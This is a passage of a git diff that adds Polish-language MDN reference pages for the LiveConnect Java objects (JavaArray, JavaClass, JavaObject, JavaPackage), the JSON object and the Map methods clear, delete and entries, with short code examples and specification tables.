languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/length" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html new file mode 100644 index 0000000000..384cb3ab8b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javaarray/tostring/index.html @@ -0,0 +1,38 @@ +--- +title: toString +slug: Web/JavaScript/Referencje/Obiekty/JavaArray/toString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaArray/toString +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Zwraca łańcuch znakowy reprezentowany przez <code>JavaArray</code>. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<td class="header" colspan="2">Metoda obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a></td> +</tr> +<tr> +<td>Zaimplementowana w:</td> +<td>JavaScript 1.1, NES 2.0</td> +</tr> +</tbody></table> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<p>Brak. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Nazywamy metodę <code>java.lang.Object.toString</code>, która zwróci wartość następującego wyrażenia: </p> +<pre>JavaArray.getClass().getName() + '@' + + java.lang.Integer.toHexString(JavaArray.hashCode()) +</pre> +<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3> +<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4> +<p>Metoda <code>toString</code> jest dziedziczona z obiektu <code>Object</code> i zwraca następującą wartość: </p> +<pre>[object JavaArray] +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/toString" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javaclass/index.html b/files/pl/web/javascript/referencje/obiekty/javaclass/index.html new file mode 100644 index 0000000000..6a71eb42fe --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javaclass/index.html @@ -0,0 +1,60 @@ +--- +title: JavaClass +slug: Web/JavaScript/Referencje/Obiekty/JavaClass +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaClass +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Referencja JavaScriptu do klasy Javy. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Referencja do nazwy klasy użyta wraz z obiektem <code>Packages</code>: +</p> +<pre class="eval">Packages.<i>KlasaJavy</i> +</pre> +<p><i>KlasaJavy</i> jest w pełni podaną nazwą klasy Javy obiektu. LiveConnect obiektów <code>java</code>, <code>sun</code> i <code>netscape</code> zawierają skróty do często używanych w pakietach Javy jak również tworzą obiekty <code>JavaClass</code>. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>JavaClass</code> jest referencją do jednej z klas pakietu Javy, jak na przykład <code>netscape.javascript.JSObject</code>. Obiekt <code>JavaPackage</code> jest referencją do pakietu Javy, jak na przykład <code>netscape.javascript</code>. W JavaScript, hierarchia <code>JavaPackage</code> i <code>JavaClass</code> jest odbiciem pakietów Javy i hierarchii klas. +</p><p>Przechodząc obiekt <code>JavaClass</code> do metody, która żąda argument typu <code>java.lang.Class</code>. +</p> +<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna"> Zgodność wsteczna </h3> +<h4 id="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze" name="JavaScript_1.3_i_wersje_wcze.C5.9Bniejsze"> JavaScript 1.3 i wersje wcześniejsze </h4> +<p>Musisz utworzyć opakowanie dla instancji <code>java.lang.Class</code>, zanim przekażesz ją jako parametr dla metody Javy - obiektu <code>JavaClass</code> nie są automatycznie konwertowane do instancji <code>java.lang.Class</code>. +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<p>Własności obiektu <code>JavaClass</code> są statycznymi polami tej klasy Javy. +</p> +<h3 id="Metody" name="Metody"> Metody </h3> +<p>Metody obiektu <code>JavaClass</code> są statycznymi metodami tej klasy Javy. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_JavaClass" name="Przyk.C5.82ad:_Zastosowanie_JavaClass"> Przykład: Zastosowanie <code>JavaClass</code> </h4> +<p>W poniższym przykładzie, <code>x</code> jest obiektem typu JavaClass odpowiadającym <code>java.awt.Font</code>. Ponieważ <code>BOLD</code> jest statycznym polem klasy Font, jest również własnością obiektu JavaClass. +</p> +<pre class="eval">x = java.awt.Font; +mojFont = x("helv", x.BOLD, 10); // tworzy obiekt Font +</pre> +<p>Powyższy przykład pomija słowo kluczowe <code>Packages</code> i używa synonimu <code>java</code>, ponieważ klasa <code>Font</code> należy do pakietu <code>java</code>. +</p> +<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h4> +<p>W poniższym przykładzie, obiekt typu <code>JavaClass</code>, <code>java.lang.String</code> jest przekazany jako argument do metody <code>newInstance</code>, która tworzy tablicę: +</p> +<pre class="eval">var samochody = java.lang.reflect.Array.newInstance(java.lang.String, 15); +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaObject">JavaObject</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaPackage">JavaPackage</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaClass", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaClass" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javaobject/index.html b/files/pl/web/javascript/referencje/obiekty/javaobject/index.html new file mode 100644 index 0000000000..3fe6012fd0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javaobject/index.html @@ -0,0 +1,67 @@ +--- +title: JavaObject +slug: Web/JavaScript/Referencje/Obiekty/JavaObject +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaObject +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Typ zapakowanego (ang. <i>wrapped</i>) obiektu Javy, do którego dostęp uzyskuje się z wnętrza kodu JavaScriptu. +</p> +<h3 id="Tworzone_przez" name="Tworzone_przez"> Tworzone przez </h3> +<p>Jakąkolwiek metodę Javy, która zwraca typ obiektu. Na dodatek, możesz stworzyć obiekt <code>JavaObject</code> używając konstruktora obiektu w Javie za pomocą słowa kluczowego <code>Packages</code>: +</p> +<pre class="eval">new Packages.<i>KlasaJavy</i>(<i>listaParametrow</i>) +</pre> +<p><i>KlasaJavy</i> jest dokładną nazwą klasy obiektu w Javie. +</p> +<h3 id="Parametry" name="Parametry"> Parametry </h3> +<dl><dt> <code>listaParametrow</code></dt><dd> Opcjonalna lista parametrów, określona przez konstruktor klasy Javy. +</dd></dl> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>Obiekt <code>JavaObject</code> jest instancją klasy Javy, która jest stworzona wewnątrz kodu JavaScriptu lub jemu przekazana. <code>JavaObject</code> jest opakowaniem (<i>wrapper</i>) instancji; wszystkie referencje do instancji klasy są robione poprzez <code>JavaObject</code>. +</p><p>Jakiekolwiek dane Javy użyte wewnątrz JavaScript-u są konwertowane do typów danych JavaScriptu. Kiedy <code>JavaObject</code> jest przekazany z powrotem do Javy, jest on rozpakowywany i może być użyty przez kod Javy. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a>, aby uzyskać więcej informacji na temat konwersji typów danych. +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<p>Dziedziczy publicznych członków danych (ang. <i>public data members</i>) klasy Javy, której jest instancją, jako własność. Dziedziczy również publicznych członków danych z jakiejkolwiek superklasy jako własność. +</p> +<h3 id="Metody" name="Metody"> Metody </h3> +<p>Dziedziczy publiczne metody klasy Javy, której jest instancją. <code>JavaObject</code> dziedziczy również metody z <code>java.lang.Object</code> i każdej innej superklasy. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Tworzenie_instancji_JavaObject_w_JavaScripcie" name="Przyk.C5.82ad:_Tworzenie_instancji_JavaObject_w_JavaScripcie"> Przykład: Tworzenie instancji <code>JavaObject</code> w JavaScripcie </h4> +<p>Poniższy kod tworzy obiekt <code>ciagZnakow</code> typu <code>JavaObject</code>, który jest instancją klasy <code>java.lang.String</code>: +</p> +<pre class="eval">var ciagZnakow = new Packages.java.lang.String("Witaj, świecie"); +</pre> +<p>Ponieważ klasa <code>String</code> jest wewnątrz pakietu <code>java</code>, możesz również użyć synonimu <code>java</code> i opuścić słowo kluczowe <code>Packages</code>, kiedy tworzysz instancję klasy: +</p> +<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie"); +</pre> +<h4 id="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_metod_obiektu_Javy" name="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_metod_obiektu_Javy"> Przykład: Uzyskanie dostępu do metod obiektu Javy </h4> +<p>Ponieważ obiekt <code>ciagZnakow</code> jest instancją <code>java.labg.String</code>, dziedziczy on wszystkie publiczne metody <code>java.lang.String</code>. Poniższy przykład używa metody <code>startsWith</code> by sprawdzić czy <code>ciagZnakow</code> zaczyna się od <code>"Witaj"</code>. +</p> +<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie"); +ciagZnakow.startsWith("Witaj"); // zwraca true +</pre> +<h4 id="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_odziedziczonych_metod" name="Przyk.C5.82ad:_Uzyskanie_dost.C4.99pu_do_odziedziczonych_metod"> Przykład: Uzyskanie dostępu do odziedziczonych metod </h4> +<p>Ponieważ, <code>getClass</code> jest metodą <code>Object</code> i <code>java.lang.String</code> rozszerza <code>Object</code>, klasa <code>String</code> dziedziczy metodę <code>getClass</code>. Konsekwentnie, <code>getClass</code> jest również metodą <code>JavaObject</code>, która tworzy instancję <code>String</code> w JavaScripcie. +</p> +<pre class="eval">var ciagZnakow = new java.lang.String("Witaj, świecie"); +ciagZnakow.getClass(); // zwraca java.lang.String +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaClass">JavaClass</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaPackage">JavaPackage</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaObject", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaObject" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/javapackage/index.html b/files/pl/web/javascript/referencje/obiekty/javapackage/index.html new file mode 100644 index 0000000000..cd356d6547 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/javapackage/index.html @@ -0,0 +1,46 @@ +--- +title: JavaPackage +slug: Web/JavaScript/Referencje/Obiekty/JavaPackage +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect_Reference/JavaPackage +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p><b>Obiekt główny</b> +</p><p>Odwołanie JavaScriptu do pakietu (ang. <i>package</i>) Javy. +</p> +<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3> +<p>Odwołanie do nazwy pakietu zastosowane ze słowem kluczowym <code>Package</code>: +</p> +<pre class="eval">Packages.<i>JavaPackage</i> +</pre> +<p><i>JavaPackage</i> jest nazwą pakietu obiektu Javy. Jeśli pakiet znajduje się wewnątrz pakietów <code>java</code>, <code>netscape</code> lub <code>sun</code>, słowo <code>Packages</code> jest opcjonalne. +</p> +<h3 id="Opis" name="Opis"> Opis </h3> +<p>W Javie, pakiet jest kolekcją klas Javy i innych pakietów Javy. Na przykład, pakiet <code>netscape</code> zawiera pakiet <code>netscape.javascript</code>; pakiet <code>netscape.javascript</code> zawiera klasy <code>JSObject</code> i <code>JSException</code>. +</p><p>W JavaScripcie, <code>JavaPackage</code> jest referencją do pakietu Javy. Na przykład, referencja do <code>netscape</code> jest typu <code>JavaPackage</code>. <code>netscape.javascript</code> jest za równo typu <code>JavaPackage</code> jak i własnością obiektu JavaPackage, <code>netscape</code>. +</p><p>Obiekt <code>JavaClass</code> jest referencją do jednej z klas w pakiecie, jak na przykład <code>netscape.javascript.JSObject</code>. Hierarchie <code>JavaPackage</code> i <code>JavaClass</code> odzwierciedlają hierarchie pakietu i klasy Javy. +</p><p>Jakkolwiek pakiety i klasy zawarte w <code>JavaPackage</code> są ich własnościami, nie możesz stosować struktury <code>for...in</code>, aby nadać im numery tak jak możesz zrobić to z innymi obiektami. +</p> +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3> +<p>Własności <code>JavaPackage</code> są obiektami <code>JavaClass</code> i jakimikolwiek innymi obiektami zawartymi w danej <code>JavaPackage</code>. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<p>Przypuśćmy, że korporacja Redwood stosuje pakiet <code>redwood</code> Javy, aby przechowywać różne klasy Javy przez nich zaimplementowane. Poniższy kod tworzy <code>JavaPackage</code> <code>red</code>: +</p> +<pre class="eval">var red = Packages.redwood; +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaArray">JavaArray</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaClass">JavaClass</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/JavaObject">JavaObject</a>, +<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a></code> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/JavaPackage", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/JavaPackage" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/json/index.html b/files/pl/web/javascript/referencje/obiekty/json/index.html new file mode 100644 index 0000000000..7a4b6c0812 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/json/index.html @@ -0,0 +1,147 @@ +--- +title: JSON +slug: Web/JavaScript/Referencje/Obiekty/JSON +tags: + - JSON + - JavaScript + - Obiekt +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +--- +<div>{{JSRef}}</div> + +<p>Obiekt <strong><code>JSON</code></strong> zawiera metody do analizy składniowej <a class="external" href="https://json.org/">JavaScript Object Notation</a> ({{glossary("JSON")}}) i konwertowania wartości do formatu JSON. Nie może być on wywołany lub utworzony i oprócz jego dwóch metod, sam w sobie nie ma interesującej funkcjonalności .</p> + +<h2 id="Różnice_między_językiem_JavaScript_i_formatem_JSON">Różnice między językiem JavaScript i formatem JSON</h2> + +<p>Format JSON jest składnią do serializowania obiektów, tablic, liczb, napisów, wartości logicznych oraz {{jsxref("null")}}. Bazuje na składni języka JavaScript, ale różni się od niego: <em>nie każdy</em> JavaScript to JSON.</p> + +<p><strong>Obiekty i tablice</strong>: Nazwy właściwości muszą znajdować się w podwójnym cudzysłowie; przecinki na końcach (<a href="https://wiki.developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Trailing_commas">trailing commas</a>) nie są dozwolone.</p> + +<p><strong>Liczby</strong>: Zera nieznaczące są zakazane. Po przecinku musi się znaleźć co najmniej jedna liczba. Wartości NaN i Infinity nie są wspierane.</p> + +<p><strong>Każdy tekst w formacie JSON jest poprawnym wyrażeniem w języku JavaScript</strong> – ale wyłącznie w silnikach JavaScript, które mają zaimplementową możliwości, <a href="https://github.com/tc39/proposal-json-superset">by wszystkie dokumenty w formacie JSON były zgodne ze standardem ECMA-262</a>. W przeciwnym razie, znaki U+2028 (separator linii) i U+2029 (separator akapitów) są dozwolone w literałach znakowych i kluczach w formacie JSON, ale ich użycie w tym konteksie w języku JavaScript skutkuje zgłoszeniem błędu {{jsxref("SyntaxError")}}.</p> + +<p>Rozważmy przykład, gdzie funkcja {{jsxref("JSON.parse()")}} przetwarza poniższy literał znakowy jako obiekt JSON, a funkcja <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval</a></code> wykonuje go jako tekst w języku JavaScript:</p> + +<pre class="brush: js">var code = '"\u2028\u2029"'; +JSON.parse(code); // działa poprawnie +eval(code); // zgłasza błąd SyntaxError +</pre> + +<p>Inne różnice to zgoda wyłącznie na literały znakowe w podwójnym cudzysłowie, brak zabezpieczenia dla {{jsxref("undefined")}} lub komentarzy.</p> + +<h2 id="Pełna_składnia_JSON">Pełna składnia JSON</h2> + +<p>Pełna składnia JSON jest następująca:</p> + +<pre class="syntaxbox"><var>JSON</var> = <strong>null</strong> + <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong> + <em>or</em> <var>JSONNumber</var> + <em>or</em> <var>JSONString</var> + <em>or</em> <var>JSONObject</var> + <em>or</em> <var>JSONArray</var> + +<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var> + <em>or</em> <var>PositiveNumber</var> +<var>PositiveNumber</var> = DecimalNumber + <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> + <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var> + <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var> +<var>DecimalNumber</var> = <strong>0</strong> + <em>or</em> <var>OneToNine</var> <var>Digits</var> +<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var> + <em>or</em> <strong>E</strong> <var>Exponent</var> +<var>Exponent</var> = <var>Digits</var> + <em>or</em> <strong>+</strong> <var>Digits</var> + <em>or</em> <strong>-</strong> <var>Digits</var> +<var>Digits</var> = <var>Digit</var> + <em>or</em> <var>Digits</var> <var>Digit</var> +<var>Digit</var> = <strong>0</strong> through <strong>9</strong> +<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong> + +<var>JSONString</var> = <strong>""</strong> + <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong> +<var>StringCharacters</var> = <var>StringCharacter</var> + <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var> +<var>StringCharacter</var> = any character + <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F + <em>or</em> <var>EscapeSequence</var> +<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong> + <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> +<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong> + <em>or</em> <strong>A</strong> through <strong>F</strong> + <em>or</em> <strong>a</strong> through <strong>f</strong> + +<var>JSONObject</var> = <strong>{</strong> <strong>}</strong> + <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong> +<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var> + <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var> + +<var>JSONArray</var> = <strong>[</strong> <strong>]</strong> + <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong> +<var>ArrayElements</var> = <var>JSON</var> + <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var> +</pre> + +<p>Nieznaczące białe znaki nie mogą występować tylko wewnątrz <code><var>JSONNumber</var></code> (liczby nie mogą zawierać białych znaków) oraz <code><var>JSONString</var></code> (gdzie jest to interpretowane jako odpowiedni znak w litarale znakowym lub może spowodować błąd). Tabulacja pozioma (<a href="https://unicode-table.com/pl/#0009">U+0009</a>), powrót karetki (<a href="https://unicode-table.com/pl/#000D">U+000D</a>), nowa linia (<a href="https://unicode-table.com/pl/#000A">U+000A</a>) oraz spacja (<a href="https://unicode-table.com/pl/#0020">U+0020</a>) to jedyne prawidłowe białe znaki.</p> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("JSON.parse()")}}</dt> + <dd>Parsuje literał znakowy na JSON, opcjonalnie przekształca otrzymaną wartosć i ją zwraca. Każde naruszenie składni JSON, wliczając w różnice między językiem JavaScript i JSON, powodują zgłosznie błędu {{jsxref("SyntaxError")}}. Opcja <code>reviver</code> pozwala zinterpretować, co <code>replacer</code> użył zamiast innych typów danych.</dd> + <dt>{{jsxref("JSON.stringify()")}}</dt> + <dd>Zwraca literał znakowy JSON odpowiadający określonej wartosci, ewentualnie zawierający jedynie niektóre wartości lub ze zamienionymi wartościami w sposób zdefinowany przez użytkownika. Domyślnie, wszystkie instance {{jsxref("undefined")}} są zastępowane przez {{jsxref("null")}} i inne niewspierane typy danych są ocenzurowywane. Opcja <code>replacer</code> pozwala określić inne zachowanie.</dd> +</dl> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td> + <td>{{Spec2('ES6')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.JSON")}}</p> +</div> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.toJSON()")}}</li> +</ul> + +<h2 id="Tools">Tools</h2> + +<ul> + <li><a href="http://jsoncompare.org/">JSON Diff</a> checker.</li> + <li><a href="http://jsonbeautifier.org/">JSON Beautifier/editor</a>.</li> + <li><a href="http://jsonparser.org/">JSON Parser</a></li> + <li><a href="https://tools.learningcontainer.com/json-validator/">JSON Validator</a>.</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/clear/index.html b/files/pl/web/javascript/referencje/obiekty/map/clear/index.html new file mode 100644 index 0000000000..a4e7374127 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/clear/index.html @@ -0,0 +1,87 @@ +--- +title: Map.prototype.clear() +slug: Web/JavaScript/Referencje/Obiekty/Map/clear +tags: + - ECMAScript 2015 + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>clear()</strong></code> usuwa wszystkie elementy z obiektu <code>Map</code>.</p> + +<pre class="brush: js">var map1 = new Map(); + +map1.set('bar', 'baz'); +map1.set(1, 'foo'); + +console.log(map1.size); +// wartość zwracana: 2 + +map1.clear(); + +console.log(map1.size); +// wartość zwracana: 0 +</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><em>myMap</em>.clear();</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>{{jsxref("undefined")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_metody_clear">Używanie metody <code>clear</code></h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set('bar', 'baz'); +myMap.set(1, 'foo'); + +myMap.size; // 2 +myMap.has('bar'); // true + +myMap.clear(); + +myMap.size; // 0 +myMap.has('bar') // false +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.clear")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/delete/index.html b/files/pl/web/javascript/referencje/obiekty/map/delete/index.html new file mode 100644 index 0000000000..2016e577f8 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/delete/index.html @@ -0,0 +1,85 @@ +--- +title: Map.prototype.delete() +slug: Web/JavaScript/Referencje/Obiekty/Map/delete +tags: + - Mapa + - Metodă +translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>delete()</strong></code> usuwa określony element z obiektu <code>Map</code>.</p> + +<pre class="brush: js">var map1 = new Map(); +map1.set('bar', 'foo'); + +console.log(map1.delete('bar')); +// oczekiwany wynik: true +// (true wskazuje na poprawne usunięcie) + +console.log(map1.has('bar')); +// oczekiwany wynik: false +</pre> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js">myMap.delete(key);</pre> + +<h3 id="Parametery">Parametery</h3> + +<dl> + <dt>key</dt> + <dd>Wymagany. Klucz elementu, który ma zostać usunięty z obiektu <code>Map</code>.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<dl> + <dt>Boolean</dt> + <dd>Zwraca <code>true</code>, jeśli element w <code>Map</code> istniał i został usunięty lub <code>false</code>, jeśli nie.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_metody_delete">Używanie metody <code>delete</code></h3> + +<pre class="brush: js">var myMap = new Map(); +myMap.set('bar', 'foo'); + +myMap.delete('bar'); // Zwraca true. Udało się usunąć. +myMap.has('bar'); // Zwraca false. Element "bar" już nie istnieje. +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + + + +<p>{{Compat("javascript.builtins.Map.delete")}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Map")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/map/entries/index.html b/files/pl/web/javascript/referencje/obiekty/map/entries/index.html new file mode 100644 index 0000000000..97c049b150 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/map/entries/index.html @@ -0,0 +1,128 @@ +--- +title: Map.prototype.entries() +slug: Web/JavaScript/Referencje/Obiekty/Map/entries +tags: + - ECMAScript2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>entries()</strong></code> zwraca nowy obiekt typu <a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a> który zawiera pary<code>[klucz, wartość]</code> dla każdego elementu <code>Mapy</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p> + +<div>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre 